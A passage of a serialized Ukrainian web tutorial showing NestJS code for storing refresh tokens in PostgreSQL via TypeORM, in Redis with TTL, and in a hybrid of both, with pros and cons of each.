Entity",[5274,8821,5443],{"class":5295},[5274,8823,8824,8827],{"class":5276,"line":5350},[5274,8825,8826],{"class":5305},"  Column",[5274,8828,5443],{"class":5295},[5274,8830,8831,8834],{"class":5276,"line":5368},[5274,8832,8833],{"class":5305},"  PrimaryGeneratedColumn",[5274,8835,5443],{"class":5295},[5274,8837,8838,8841],{"class":5276,"line":5470},[5274,8839,8840],{"class":5305},"  ManyToOne",[5274,8842,5443],{"class":5295},[5274,8844,8845,8848],{"class":5276,"line":5644},[5274,8846,8847],{"class":5305},"  CreateDateColumn",[5274,8849,5443],{"class":5295},[5274,8851,8852,8855],{"class":5276,"line":5650},[5274,8853,8854],{"class":5305},"  Index",[5274,8856,5443],{"class":5295},[5274,8858,8859,8862,8864,8867],{"class":5276,"line":5674},[5274,8860,8861],{"class":5295},"} ",[5274,8863,6293],{"class":5605},[5274,8865,8866],{"class":5358}," 'typeorm'",[5274,8868,5852],{"class":5295},[5274,8870,8871,8873,8875,8878,8880,8882,8885],{"class":5276,"line":5680},[5274,8872,6282],{"class":5605},[5274,8874,6285],{"class":5295},[5274,8876,8877],{"class":5305},"User",[5274,8879,5362],{"class":5295},[5274,8881,6293],{"class":5605},[5274,8883,8884],{"class":5358}," '..\u002F..\u002Fusers\u002Fentities\u002Fuser.entity'",[5274,8886,5852],{"class":5295},[5274,8888,8889],{"class":5276,"line":5685},[5274,8890,5577],{"emptyLinePlaceholder":5576},[5274,8892,8893,8896,8899,8901,8904],{"class":5276,"line":5691},[5274,8894,8895],{"class":5295},"@",[5274,8897,8898],{"class":5311},"Entity",[5274,8900,5414],{"class":5295},[5274,8902,8903],{"class":5358},"'refresh_tokens'",[5274,8905,8906],{"class":5295},")\n",[5274,8908,8909,8911,8914,8917],{"class":5276,"line":5855},[5274,8910,8490],{"class":5605},[5274,8912,8913],{"class":5287}," class",[5274,8915,8916],{"class":5567}," RefreshToken",[5274,8918,7239],{"class":5295},[5274,8920,8921,8924,8927,8929,8932],{"class":5276,"line":5860},[5274,8922,8923],{"class":5295},"  @",[5274,8925,8926],{"class":5311},"PrimaryGeneratedColumn",[5274,8928,5414],{"class":5295},[5274,8930,8931],{"class":5358},"'uuid'",[5274,8933,8906],{"class":5295},[5274,8935,8936,8938,8940,8942],{"class":5276,"line":5865},[5274,8937,6711],{"class":5305},[5274,8939,5595],{"class":5295},[5274,8941,5568],{"class":5567},[5274,8943,5852],{"class":5295},[5274,8945,8946],{"class":5276,"line":6032},[5274,8947,5577],{"emptyLinePlaceholder":5576},[5274,8949,8950,8952,8955,8958,8960,8963,8966,8969,8972],{"class":5276,"line":6038},[5274,8951,8923],{"class":5295},[5274,8953,8954],{"class":5311},"ManyToOne",[5274,8956,8957],{"class":5295},"(() ",[5274,8959,7654],{"class":5287},[5274,8961,8962],{"class":5305}," User",[5274,8964,8965],{"class":5295},", { ",[5274,8967,8968],{"class":5305},"onDelete:",[5274,8970,8971],{"class":5358}," 'CASCADE'",[5274,8973,5467],{"class":5295},[5274,8975,8976,8979,8981,8983],{"class":5276,"line":6044},[5274,8977,8978],{"class":5305},"  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'inet'",[5274,9073,5129],{"class":5295},[5274,9075,9039],{"class":5305},[5274,9077,7599],{"class":5287},[5274,9079,5467],{"class":5295},[5274,9081,9082,9084,9086,9088],{"class":5276,"line":7514},[5274,9083,6759],{"class":5305},[5274,9085,5595],{"class":5295},[5274,9087,5568],{"class":5567},[5274,9089,5852],{"class":5295},[5274,9091,9092],{"class":5276,"line":7520},[5274,9093,5577],{"emptyLinePlaceholder":5576},[5274,9095,9096,9098,9100,9102,9104,9107,9109,9111,9113],{"class":5276,"line":7526},[5274,9097,8923],{"class":5295},[5274,9099,8995],{"class":5311},[5274,9101,5459],{"class":5295},[5274,9103,9068],{"class":5305},[5274,9105,9106],{"class":5358}," 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'timestamp'",[5274,9166,5467],{"class":5295},[5274,9168,9169,9171,9173],{"class":5276,"line":8029},[5274,9170,8923],{"class":5295},[5274,9172,9011],{"class":5311},[5274,9174,9014],{"class":5295},[5274,9176,9177,9179,9181,9183],{"class":5276,"line":8035},[5274,9178,6795],{"class":5305},[5274,9180,5595],{"class":5295},[5274,9182,6391],{"class":5567},[5274,9184,5852],{"class":5295},[5274,9186,9187],{"class":5276,"line":8041},[5274,9188,5577],{"emptyLinePlaceholder":5576},[5274,9190,9191,9193,9195,9197,9199,9201,9203,9206,9208,9211,9213,9216],{"class":5276,"line":8047},[5274,9192,8923],{"class":5295},[5274,9194,8995],{"class":5311},[5274,9196,5459],{"class":5295},[5274,9198,9068],{"class":5305},[5274,9200,9164],{"class":5358},[5274,9202,5129],{"class":5295},[5274,9204,9205],{"class":5311},"default",[5274,9207,5383],{"class":5305},[5274,9209,9210],{"class":5295}," () ",[5274,9212,7654],{"class":5287},[5274,9214,9215],{"class":5358}," 'NOW()'",[5274,9217,5467],{"class":5295},[5274,9219,9220,9222,9224,9226],{"class":5276,"line":8052},[5274,9221,6807],{"class":5305},[5274,9223,5595],{"class":5295},[5274,9225,6391],{"class":5567},[5274,9227,5852],{"class":5295},[5274,9229,9230],{"class":5276,"line":8069},[5274,9231,5677],{"class":5295},[5257,9233,9235],{"id":9234},"варіант-2-зберігання-у-redis","Варіант 2: Зберігання у Redis",[5089,9237,9238],{},[5099,9239,8526],{},[5093,9241,9242,9245,9248],{},[5096,9243,9244],{},"✅ Екстремально швидкий доступ (in-memory).",[5096,9246,9247],{},"✅ Автоматичне видалення прострочених токенів через TTL.",[5096,9249,9250],{},"✅ Менше навантаження на основну БД.",[5089,9252,9253],{},[5099,9254,8550],{},[5093,9256,9257,9260],{},[5096,9258,9259],{},"❌ Втрата даних при перезавантаженні (якщо не налаштовано persistence).",[5096,9261,9262],{},"❌ Обмежені можливості аналізу (немає історії використання токенів).",[5089,9264,9265],{},[5099,9266,9267],{},"Приклад збереження у Redis:",[5265,9269,9271],{"className":5267,"code":9270,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fauth\u002Fservices\u002Fredis-token.service.ts\nimport { Injectable } from '@nestjs\u002Fcommon';\nimport { InjectRedis } from '@nestjs-modules\u002Fioredis';\nimport Redis from 'ioredis';\n\n@Injectable()\nexport class RedisTokenService {\n  constructor(@InjectRedis() private readonly redis: Redis) {}\n\n  \u002F**\n   * Збереження Refresh Token у Redis з TTL\n   *\u002F\n  async saveRefreshToken(\n    userId: string,\n    token: string,\n    expiresIn: number \u002F\u002F у секундах\n  ): Promise\u003Cvoid> {\n    const key = `refresh_token:${token}`;\n    const value = JSON.stringify({\n      userId,\n      createdAt: new Date().toISOString(),\n    });\n\n    \u002F\u002F Зберігаємо з автоматичним видаленням через TTL\n    await this.redis.setex(key, expiresIn, value);\n\n    \u002F\u002F Додаткове зберігання для швидкого пошуку всіх токенів користувача\n    await this.redis.sadd(`user_tokens:${userId}`, token);\n    await this.redis.expire(`user_tokens:${userId}`, expiresIn);\n  }\n\n  \u002F**\n   * Перевірка існування токена\n   *\u002F\n  async validateRefreshToken(token: string): Promise\u003C{ userId: string } | null> {\n    const key = `refresh_token:${token}`;\n    const value = await this.redis.get(key);\n\n    if (!value) {\n      return null;\n    }\n\n    return JSON.parse(value);\n  }\n\n  \u002F**\n   * Видалення токена (logout)\n   *\u002F\n  async revokeRefreshToken(token: string): Promise\u003Cvoid> {\n    const key = `refresh_token:${token}`;\n    const value = await this.redis.get(key);\n\n    if (value) {\n      const { userId } = JSON.parse(value);\n      await this.redis.del(key);\n      await this.redis.srem(`user_tokens:${userId}`, token);\n    }\n  }\n\n  \u002F**\n   * Видалення всіх токенів користувача\n   *\u002F\n  async revokeAllUserTokens(userId: string): Promise\u003Cvoid> {\n    const tokens = await this.redis.smembers(`user_tokens:${userId}`);\n\n    const pipeline = this.redis.pipeline();\n    tokens.forEach((token) => {\n      pipeline.del(`refresh_token:${token}`);\n    });\n    pipeline.del(`user_tokens:${userId}`);\n\n    await pipeline.exec();\n  }\n}\n",[5122,9272,9273,9278,9296,9314,9328,9332,9340,9351,9381,9385,9390,9395,9400,9409,9420,9431,9444,9460,9482,9500,9507,9524,9529,9533,9538,9572,9576,9581,9615,9648,9652,9656,9660,9665,9669,9706,9726,9753,9757,9767,9777,9781,9785,9802,9806,9810,9814,9819,9823,9848,9868,9894,9898,9908,9931,9953,9986,9990,9994,9998,10002,10007,10011,10036,10072,10076,10098,10117,10140,10144,10167,10171,10184,10188],{"__ignoreMap":5270},[5274,9274,9275],{"class":5276,"line":5277},[5274,9276,9277],{"class":5280},"\u002F\u002F src\u002Fauth\u002Fservices\u002Fredis-token.service.ts\n",[5274,9279,9280,9282,9284,9287,9289,9291,9294],{"class":5276,"line":5284},[5274,9281,6282],{"class":5605},[5274,9283,6285],{"class":5295},[5274,9285,9286],{"class":5305},"Injectable",[5274,9288,5362],{"class":5295},[5274,9290,6293],{"class":5605},[5274,9292,9293],{"class":5358}," '@nestjs\u002Fcommon'",[5274,9295,5852],{"class":5295},[5274,9297,9298,9300,9302,9305,9307,9309,9312],{"class":5276,"line":5318},[5274,9299,6282],{"class":5605},[5274,9301,6285],{"class":5295},[5274,9303,9304],{"class":5305},"InjectRedis",[5274,9306,5362],{"class":5295},[5274,9308,6293],{"class":5605},[5274,9310,9311],{"class":5358}," '@nestjs-modules\u002Fioredis'",[5274,9313,5852],{"class":5295},[5274,9315,9316,9318,9321,9323,9326],{"class":5276,"line":5350},[5274,9317,6282],{"class":5605},[5274,9319,9320],{"class":5305}," Redis",[5274,9322,7553],{"class":5605},[5274,9324,9325],{"class":5358}," 'ioredis'",[5274,9327,5852],{"class":5295},[5274,9329,9330],{"class":5276,"line":5368},[5274,9331,5577],{"emptyLinePlaceholder":5576},[5274,9333,9334,9336,9338],{"class":5276,"line":5470},[5274,9335,8895],{"class":5295},[5274,9337,9286],{"class":5311},[5274,9339,9014],{"class":5295},[5274,9341,9342,9344,9346,9349],{"class":5276,"line":5644},[5274,9343,8490],{"class":5605},[5274,9345,8913],{"class":5287},[5274,9347,9348],{"class":5567}," RedisTokenService",[5274,9350,7239],{"class":5295},[5274,9352,9353,9356,9359,9361,9364,9367,9370,9373,9375,9378],{"class":5276,"line":5650},[5274,9354,9355],{"class":5287},"  constructor",[5274,9357,9358],{"class":5295},"(@",[5274,9360,9304],{"class":5311},[5274,9362,9363],{"class":5295},"() ",[5274,9365,9366],{"class":5287},"private",[5274,9368,9369],{"class":5287}," readonly",[5274,9371,9372],{"class":5305}," redis",[5274,9374,5595],{"class":5295},[5274,9376,9377],{"class":5567},"Redis",[5274,9379,9380],{"class":5295},") {}\n",[5274,9382,9383],{"class":5276,"line":5674},[5274,9384,5577],{"emptyLinePlaceholder":5576},[5274,9386,9387],{"class":5276,"line":5680},[5274,9388,9389],{"class":5280},"  \u002F**\n",[5274,9391,9392],{"class":5276,"line":5685},[5274,9393,9394],{"class":5280},"   * Збереження Refresh Token у Redis з TTL\n",[5274,9396,9397],{"class":5276,"line":5691},[5274,9398,9399],{"class":5280},"   *\u002F\n",[5274,9401,9402,9404,9407],{"class":5276,"line":5855},[5274,9403,7839],{"class":5287},[5274,9405,9406],{"class":5311}," saveRefreshToken",[5274,9408,5315],{"class":5295},[5274,9410,9411,9414,9416,9418],{"class":5276,"line":5860},[5274,9412,9413],{"class":5305},"    userId",[5274,9415,5595],{"class":5295},[5274,9417,5568],{"class":5567},[5274,9419,5443],{"class":5295},[5274,9421,9422,9425,9427,9429],{"class":5276,"line":5865},[5274,9423,9424],{"class":5305},"    token",[5274,9426,5595],{"class":5295},[5274,9428,5568],{"class":5567},[5274,9430,5443],{"class":5295},[5274,9432,9433,9436,9438,9441],{"class":5276,"line":6032},[5274,9434,9435],{"class":5305},"    expiresIn",[5274,9437,5595],{"class":5295},[5274,9439,9440],{"class":5567},"number",[5274,9442,9443],{"class":5280}," \u002F\u002F у секундах\n",[5274,9445,9446,9449,9452,9454,9457],{"class":5276,"line":6038},[5274,9447,9448],{"class":5295},"  ): ",[5274,9450,9451],{"class":5567},"Promise",[5274,9453,5564],{"class":5295},[5274,9455,9456],{"class":5567},"void",[5274,9458,9459],{"class":5295},"> {\n",[5274,9461,9462,9464,9467,9469,9472,9474,9476,9478,9480],{"class":5276,"line":6044},[5274,9463,7855],{"class":5287},[5274,9465,9466],{"class":5291}," key",[5274,9468,5296],{"class":5295},[5274,9470,9471],{"class":5358},"`refresh_token:",[5274,9473,8000],{"class":5287},[5274,9475,5132],{"class":5305},[5274,9477,8005],{"class":5287},[5274,9479,8008],{"class":5358},[5274,9481,5852],{"class":5295},[5274,9483,9484,9486,9489,9491,9494,9496,9498],{"class":5276,"line":6050},[5274,9485,7855],{"class":5287},[5274,9487,9488],{"class":5291}," value",[5274,9490,5296],{"class":5295},[5274,9492,9493],{"class":5291},"JSON",[5274,9495,5302],{"class":5295},[5274,9497,5456],{"class":5311},[5274,9499,6354],{"class":5295},[5274,9501,9502,9505],{"class":5276,"line":6947},[5274,9503,9504],{"class":5305},"      userId",[5274,9506,5443],{"class":5295},[5274,9508,9509,9512,9514,9516,9519,9522],{"class":5276,"line":6953},[5274,9510,9511],{"class":5305},"      createdAt:",[5274,9513,5631],{"class":5287},[5274,9515,6386],{"class":5311},[5274,9517,9518],{"class":5295},"().",[5274,9520,9521],{"class":5311},"toISOString",[5274,9523,8695],{"class":5295},[5274,9525,9526],{"class":5276,"line":6959},[5274,9527,9528],{"class":5295},"    });\n",[5274,9530,9531],{"class":5276,"line":6965},[5274,9532,5577],{"emptyLinePlaceholder":5576},[5274,9534,9535],{"class":5276,"line":6971},[5274,9536,9537],{"class":5280},"    \u002F\u002F Зберігаємо з автоматичним видаленням через TTL\n",[5274,9539,9540,9543,9545,9547,9550,9552,9555,9557,9560,9562,9565,9567,9570],{"class":5276,"line":6977},[5274,9541,9542],{"class":5605},"    await",[5274,9544,5656],{"class":5287},[5274,9546,5302],{"class":5295},[5274,9548,9549],{"class":5305},"redis",[5274,9551,5302],{"class":5295},[5274,9553,9554],{"class":5311},"setex",[5274,9556,5414],{"class":5295},[5274,9558,9559],{"class":5305},"key",[5274,9561,5129],{"class":5295},[5274,9563,9564],{"class":5305},"expiresIn",[5274,9566,5129],{"class":5295},[5274,9568,9569],{"class":5305},"value",[5274,9571,5371],{"class":5295},[5274,9573,9574],{"class":5276,"line":6983},[5274,9575,5577],{"emptyLinePlaceholder":5576},[5274,9577,9578],{"class":5276,"line":6989},[5274,9579,9580],{"class":5280},"    \u002F\u002F Додаткове зберігання для швидкого пошуку всіх токенів користувача\n",[5274,9582,9583,9585,9587,9589,9591,9593,9596,9598,9601,9603,9605,9607,9609,9611,9613],{"class":5276,"line":7514},[5274,9584,9542],{"class":5605},[5274,9586,5656],{"class":5287},[5274,9588,5302],{"class":5295},[5274,9590,9549],{"class":5305},[5274,9592,5302],{"class":5295},[5274,9594,9595],{"class":5311},"sadd",[5274,9597,5414],{"class":5295},[5274,9599,9600],{"class":5358},"`user_tokens:",[5274,9602,8000],{"class":5287},[5274,9604,5128],{"class":5305},[5274,9606,8005],{"class":5287},[5274,9608,8008],{"class":5358},[5274,9610,5129],{"class":5295},[5274,9612,5132],{"class":5305},[5274,9614,5371],{"class":5295},[5274,9616,9617,9619,9621,9623,9625,9627,9630,9632,9634,9636,9638,9640,9642,9644,9646],{"class":5276,"line":7520},[5274,9618,9542],{"class":5605},[5274,9620,5656],{"class":5287},[5274,9622,5302],{"class":5295},[5274,9624,9549],{"class":5305},[5274,9626,5302],{"class":5295},[5274,9628,9629],{"class":5311},"expire",[5274,9631,5414],{"class":5295},[5274,9633,9600],{"class":5358},[5274,9635,8000],{"class":5287},[5274,9637,5128],{"class":5305},[5274,9639,8005],{"class":5287},[5274,9641,8008],{"class":5358},[5274,9643,5129],{"class":5295},[5274,9645,9564],{"class":5305},[5274,9647,5371],{"class":5295},[5274,9649,9650],{"class":5276,"line":7526},[5274,9651,5647],{"class":5295},[5274,9653,9654],{"class":5276,"line":7919},[5274,9655,5577],{"emptyLinePlaceholder":5576},[5274,9657,9658],{"class":5276,"line":7932},[5274,9659,9389],{"class":5280},[5274,9661,9662],{"class":5276,"line":7938},[5274,9663,9664],{"class":5280},"   * Перевірка існування токена\n",[5274,9666,9667],{"class":5276,"line":7960},[5274,9668,9399],{"class":5280},[5274,9670,9671,9673,9676,9678,9680,9682,9684,9687,9689,9692,9694,9696,9698,9701,9704],{"class":5276,"line":7980},[5274,9672,7839],{"class":5287},[5274,9674,9675],{"class":5311}," validateRefreshToken",[5274,9677,5414],{"class":5295},[5274,9679,5132],{"class":5305},[5274,9681,5595],{"class":5295},[5274,9683,5568],{"class":5567},[5274,9685,9686],{"class":5295},"): ",[5274,9688,9451],{"class":5567},[5274,9690,9691],{"class":5295},"\u003C{ ",[5274,9693,5128],{"class":5305},[5274,9695,5595],{"class":5295},[5274,9697,5568],{"class":5567},[5274,9699,9700],{"class":5295}," } | ",[5274,9702,9703],{"class":5567},"null",[5274,9705,9459],{"class":5295},[5274,9707,9708,9710,9712,9714,9716,9718,9720,9722,9724],{"class":5276,"line":8013},[5274,9709,7855],{"class":5287},[5274,9711,9466],{"class":5291},[5274,9713,5296],{"class":5295},[5274,9715,9471],{"class":5358},[5274,9717,8000],{"class":5287},[5274,9719,5132],{"class":5305},[5274,9721,8005],{"class":5287},[5274,9723,8008],{"class":5358},[5274,9725,5852],{"class":5295},[5274,9727,9728,9730,9732,9734,9736,9738,9740,9742,9744,9747,9749,9751],{"class":5276,"line":8029},[5274,9729,7855],{"class":5287},[5274,9731,9488],{"class":5291},[5274,9733,5296],{"class":5295},[5274,9735,5770],{"class":5605},[5274,9737,5656],{"class":5287},[5274,9739,5302],{"class":5295},[5274,9741,9549],{"class":5305},[5274,9743,5302],{"class":5295},[5274,9745,9746],{"class":5311},"get",[5274,9748,5414],{"class":5295},[5274,9750,9559],{"class":5305},[5274,9752,5371],{"class":5295},[5274,9754,9755],{"class":5276,"line":8035},[5274,9756,5577],{"emptyLinePlaceholder":5576},[5274,9758,9759,9761,9763,9765],{"class":5276,"line":8041},[5274,9760,7883],{"class":5605},[5274,9762,5805],{"class":5295},[5274,9764,9569],{"class":5305},[5274,9766,5600],{"class":5295},[5274,9768,9769,9772,9775],{"class":5276,"line":8047},[5274,9770,9771],{"class":5605},"      return",[5274,9773,9774],{"class":5287}," null",[5274,9776,5852],{"class":5295},[5274,9778,9779],{"class":5276,"line":8052},[5274,9780,7131],{"class":5295},[5274,9782,9783],{"class":5276,"line":8069},[5274,9784,5577],{"emptyLinePlaceholder":5576},[5274,9786,9787,9789,9791,9793,9796,9798,9800],{"class":5276,"line":8081},[5274,9788,8457],{"class":5605},[5274,9790,5451],{"class":5291},[5274,9792,5302],{"class":5295},[5274,9794,9795],{"class":5311},"parse",[5274,9797,5414],{"class":5295},[5274,9799,9569],{"class":5305},[5274,9801,5371],{"class":5295},[5274,9803,9804],{"class":5276,"line":8086},[5274,9805,5647],{"class":5295},[5274,9807,9808],{"class":5276,"line":8094},[5274,9809,5577],{"emptyLinePlaceholder":5576},[5274,9811,9812],{"class":5276,"line":8100},[5274,9813,9389],{"class":5280},[5274,9815,9816],{"class":5276,"line":8125},[5274,9817,9818],{"class":5280},"   * Видалення токена (logout)\n",[5274,9820,9821],{"class":5276,"line":8133},[5274,9822,9399],{"class":5280},[5274,9824,9825,9827,9830,9832,9834,9836,9838,9840,9842,9844,9846],{"class":5276,"line":8139},[5274,9826,7839],{"class":5287},[5274,9828,9829],{"class":5311}," revokeRefreshToken",[5274,9831,5414],{"class":5295},[5274,9833,5132],{"class":5305},[5274,9835,5595],{"class":5295},[5274,9837,5568],{"class":5567},[5274,9839,9686],{"class":5295},[5274,9841,9451],{"class":5567},[5274,9843,5564],{"class":5295},[5274,9845,9456],{"class":5567},[5274,9847,9459],{"class":5295},[5274,9849,9850,9852,9854,9856,9858,9860,9862,9864,9866],{"class":5276,"line":8155},[5274,9851,7855],{"class":5287},[5274,9853,9466],{"class":5291},[5274,9855,5296],{"class":5295},[5274,9857,9471],{"class":5358},[5274,9859,8000],{"class":5287},[5274,9861,5132],{"class":5305},[5274,9863,8005],{"class":5287},[5274,9865,8008],{"class":5358},[5274,9867,5852],{"class":5295},[5274,9869,9870,9872,9874,9876,9878,9880,9882,9884,9886,9888,9890,9892],{"class":5276,"line":8161},[5274,9871,7855],{"class":5287},[5274,9873,9488],{"class":5291},[5274,9875,5296],{"class":5295},[5274,9877,5770],{"class":5605},[5274,9879,5656],{"class":5287},[5274,9881,5302],{"class":5295},[5274,9883,9549],{"class":5305},[5274,9885,5302],{"class":5295},[5274,9887,9746],{"class":5311},[5274,9889,5414],{"class":5295},[5274,9891,9559],{"class":5305},[5274,9893,5371],{"class":5295},[5274,9895,9896],{"class":5276,"line":8166},[5274,9897,5577],{"emptyLinePlaceholder":5576},[5274,9899,9900,9902,9904,9906],{"class":5276,"line":8189},[5274,9901,7883],{"class":5605},[5274,9903,5509],{"class":5295},[5274,9905,9569],{"class":5305},[5274,9907,5600],{"class":5295},[5274,9909,9910,9913,9915,9917,9919,9921,9923,9925,9927,9929],{"class":5276,"line":8194},[5274,9911,9912],{"class":5287},"      const",[5274,9914,6285],{"class":5295},[5274,9916,5128],{"class":5291},[5274,9918,8111],{"class":5295},[5274,9920,9493],{"class":5291},[5274,9922,5302],{"class":5295},[5274,9924,9795],{"class":5311},[5274,9926,5414],{"class":5295},[5274,9928,9569],{"class":5305},[5274,9930,5371],{"class":5295},[5274,9932,9933,9936,9938,9940,9942,9944,9947,9949,9951],{"class":5276,"line":8200},[5274,9934,9935],{"class":5605},"      await",[5274,9937,5656],{"class":5287},[5274,9939,5302],{"class":5295},[5274,9941,9549],{"class":5305},[5274,9943,5302],{"class":5295},[5274,9945,9946],{"class":5311},"del",[5274,9948,5414],{"class":5295},[5274,9950,9559],{"class":5305},[5274,9952,5371],{"class":5295},[5274,9954,9955,9957,9959,9961,9963,9965,9968,9970,9972,9974,9976,9978,9980,9982,9984],{"class":5276,"line":8222},[5274,9956,9935],{"class":5605},[5274,9958,5656],{"class":5287},[5274,9960,5302],{"class":5295},[5274,9962,9549],{"class":5305},[5274,9964,5302],{"class":5295},[5274,9966,9967],{"class":5311},"srem",[5274,9969,5414],{"class":5295},[5274,9971,9600],{"class":5358},[5274,9973,8000],{"class":5287},[5274,9975,5128],{"class":5305},[5274,9977,8005],{"class":5287},[5274,9979,8008],{"class":5358},[5274,9981,5129],{"class":5295},[5274,9983,5132],{"class":5305},[5274,9985,5371],{"class":5295},[5274,9987,9988],{"class":5276,"line":8263},[5274,9989,7131],{"class":5295},[5274,9991,9992],{"class":5276,"line":8268},[5274,9993,5647],{"class":5295},[5274,9995,9996],{"class":5276,"line":8274},[5274,9997,5577],{"emptyLinePlaceholder":5576},[5274,9999,10000],{"class":5276,"line":8286},[5274,10001,9389],{"class":5280},[5274,10003,10004],{"class":5276,"line":8291},[5274,10005,10006],{"class":5280},"   * Видалення всіх токенів користувача\n",[5274,10008,10009],{"class":5276,"line":8297},[5274,10010,9399],{"class":5280},[5274,10012,10013,10015,10018,10020,10022,10024,10026,10028,10030,10032,10034],{"class":5276,"line":8325},[5274,10014,7839],{"class":5287},[5274,10016,10017],{"class":5311}," revokeAllUserTokens",[5274,10019,5414],{"class":5295},[5274,10021,5128],{"class":5305},[5274,10023,5595],{"class":5295},[5274,10025,5568],{"class":5567},[5274,10027,9686],{"class":5295},[5274,10029,9451],{"class":5567},[5274,10031,5564],{"class":5295},[5274,10033,9456],{"class":5567},[5274,10035,9459],{"class":5295},[5274,10037,10038,10040,10043,10045,10047,10049,10051,10053,10055,10058,10060,10062,10064,10066,10068,10070],{"class":5276,"line":8338},[5274,10039,7855],{"class":5287},[5274,10041,10042],{"class":5291}," tokens",[5274,10044,5296],{"class":5295},[5274,10046,5770],{"class":5605},[5274,10048,5656],{"class":5287},[5274,10050,5302],{"class":5295},[5274,10052,9549],{"class":5305},[5274,10054,5302],{"class":5295},[5274,10056,10057],{"class":5311},"smembers",[5274,10059,5414],{"class":5295},[5274,10061,9600],{"class":5358},[5274,10063,8000],{"class":5287},[5274,10065,5128],{"class":5305},[5274,10067,8005],{"class":5287},[5274,10069,8008],{"class":5358},[5274,10071,5371],{"class":5295},[5274,10073,10074],{"class":5276,"line":8354},[5274,10075,5577],{"emptyLinePlaceholder":5576},[5274,10077,10078,10080,10083,10085,10087,10089,10091,10093,10096],{"class":5276,"line":8360},[5274,10079,7855],{"class":5287},[5274,10081,10082],{"class":5291}," pipeline",[5274,10084,5296],{"class":5295},[5274,10086,5299],{"class":5287},[5274,10088,5302],{"class":5295},[5274,10090,9549],{"class":5305},[5274,10092,5302],{"class":5295},[5274,10094,10095],{"class":5311},"pipeline",[5274,10097,6321],{"class":5295},[5274,10099,10100,10103,10105,10107,10109,10111,10113,10115],{"class":5276,"line":8376},[5274,10101,10102],{"class":5305},"    tokens",[5274,10104,5302],{"class":5295},[5274,10106,7754],{"class":5311},[5274,10108,7757],{"class":5295},[5274,10110,5132],{"class":5305},[5274,10112,7651],{"class":5295},[5274,10114,7654],{"class":5287},[5274,10116,7239],{"class":5295},[5274,10118,10119,10122,10124,10126,10128,10130,10132,10134,10136,10138],{"class":5276,"line":8399},[5274,10120,10121],{"class":5305},"      pipeline",[5274,10123,5302],{"class":5295},[5274,10125,9946],{"class":5311},[5274,10127,5414],{"class":5295},[5274,10129,9471],{"class":5358},[5274,10131,8000],{"class":5287},[5274,10133,5132],{"class":5305},[5274,10135,8005],{"class":5287},[5274,10137,8008],{"class":5358},[5274,10139,5371],{"class":5295},[5274,10141,10142],{"class":5276,"line":8417},[5274,10143,9528],{"class":5295},[5274,10145,10146,10149,10151,10153,10155,10157,10159,10161,10163,10165],{"class":5276,"line":8427},[5274,10147,10148],{"class":5305},"    pipeline",[5274,10150,5302],{"class":5295},[5274,10152,9946],{"class":5311},[5274,10154,5414],{"class":5295},[5274,10156,9600],{"class":5358},[5274,10158,8000],{"class":5287},[5274,10160,5128],{"class":5305},[5274,10162,8005],{"class":5287},[5274,10164,8008],{"class":5358},[5274,10166,5371],{"class":5295},[5274,10168,10169],{"class":5276,"line":8439},[5274,10170,5577],{"emptyLinePlaceholder":5576},[5274,10172,10173,10175,10177,10179,10182],{"class":5276,"line":8444},[5274,10174,9542],{"class":5605},[5274,10176,10082],{"class":5305},[5274,10178,5302],{"class":5295},[5274,10180,10181],{"class":5311},"exec",[5274,10183,6321],{"class":5295},[5274,10185,10186],{"class":5276,"line":8449},[5274,10187,5647],{"class":5295},[5274,10189,10190],{"class":5276,"line":8454},[5274,10191,5677],{"class":5295},[5257,10193,10195],{"id":10194},"гібридний-підхід-рекомендовано","Гібридний підхід (рекомендовано)",[5089,10197,10198,10199,5383],{},"Для критичних застосунків використовуйте ",[5099,10200,10201],{},"комбінацію обох",[5093,10203,10204,10212],{},[5096,10205,10206,10209,10210,5302],{},[5099,10207,10208],{},"Redis:"," для швидкого пошуку валідності токена при кожному ",[5122,10211,5155],{},[5096,10213,10214,10217],{},[5099,10215,10216],{},"PostgreSQL:"," для збереження історії сесій, аналізу безпеки та відкликання через UI.",[5265,10219,10221],{"className":5267,"code":10220,"language":5269,"meta":5270,"style":5270},"async saveRefreshToken(userId: string, token: string, expiresAt: Date) {\n  \u002F\u002F 1. Зберігаємо у PostgreSQL для персистентності\n  await this.refreshTokenRepository.save({\n    userId,\n    token,\n    expiresAt,\n    deviceName: this.extractDeviceName(userAgent),\n  });\n\n  \u002F\u002F 2. Кешуємо у Redis для швидкого доступу\n  const ttl = Math.floor((expiresAt.getTime() - Date.now()) \u002F 1000);\n  await this.redis.setex(`refresh_token:${token}`, ttl, userId);\n}\n",[5122,10222,10223,10255,10260,10277,10283,10289,10296,10315,10320,10324,10329,10371,10408],{"__ignoreMap":5270},[5274,10224,10225,10227,10229,10231,10233,10235,10237,10239,10241,10243,10245,10247,10249,10251,10253],{"class":5276,"line":5277},[5274,10226,5582],{"class":5305},[5274,10228,9406],{"class":5311},[5274,10230,5414],{"class":5295},[5274,10232,5128],{"class":5305},[5274,10234,5595],{"class":5295},[5274,10236,5568],{"class":5305},[5274,10238,5129],{"class":5295},[5274,10240,5132],{"class":5305},[5274,10242,5595],{"class":5295},[5274,10244,5568],{"class":5305},[5274,10246,5129],{"class":5295},[5274,10248,5135],{"class":5305},[5274,10250,5595],{"class":5295},[5274,10252,6391],{"class":5305},[5274,10254,5600],{"class":5295},[5274,10256,10257],{"class":5276,"line":5284},[5274,10258,10259],{"class":5280},"  \u002F\u002F 1. Зберігаємо у PostgreSQL для персистентності\n",[5274,10261,10262,10265,10267,10269,10271,10273,10275],{"class":5276,"line":5318},[5274,10263,10264],{"class":5605},"  await",[5274,10266,5656],{"class":5287},[5274,10268,5302],{"class":5295},[5274,10270,6346],{"class":5305},[5274,10272,5302],{"class":5295},[5274,10274,6351],{"class":5311},[5274,10276,6354],{"class":5295},[5274,10278,10279,10281],{"class":5276,"line":5350},[5274,10280,9413],{"class":5305},[5274,10282,5443],{"class":5295},[5274,10284,10285,10287],{"class":5276,"line":5368},[5274,10286,9424],{"class":5305},[5274,10288,5443],{"class":5295},[5274,10290,10291,10294],{"class":5276,"line":5470},[5274,10292,10293],{"class":5305},"    expiresAt",[5274,10295,5443],{"class":5295},[5274,10297,10298,10301,10303,10305,10308,10310,10313],{"class":5276,"line":5644},[5274,10299,10300],{"class":5305},"    deviceName:",[5274,10302,5656],{"class":5287},[5274,10304,5302],{"class":5295},[5274,10306,10307],{"class":5311},"extractDeviceName",[5274,10309,5414],{"class":5295},[5274,10311,10312],{"class":5305},"userAgent",[5274,10314,6425],{"class":5295},[5274,10316,10317],{"class":5276,"line":5650},[5274,10318,10319],{"class":5295},"  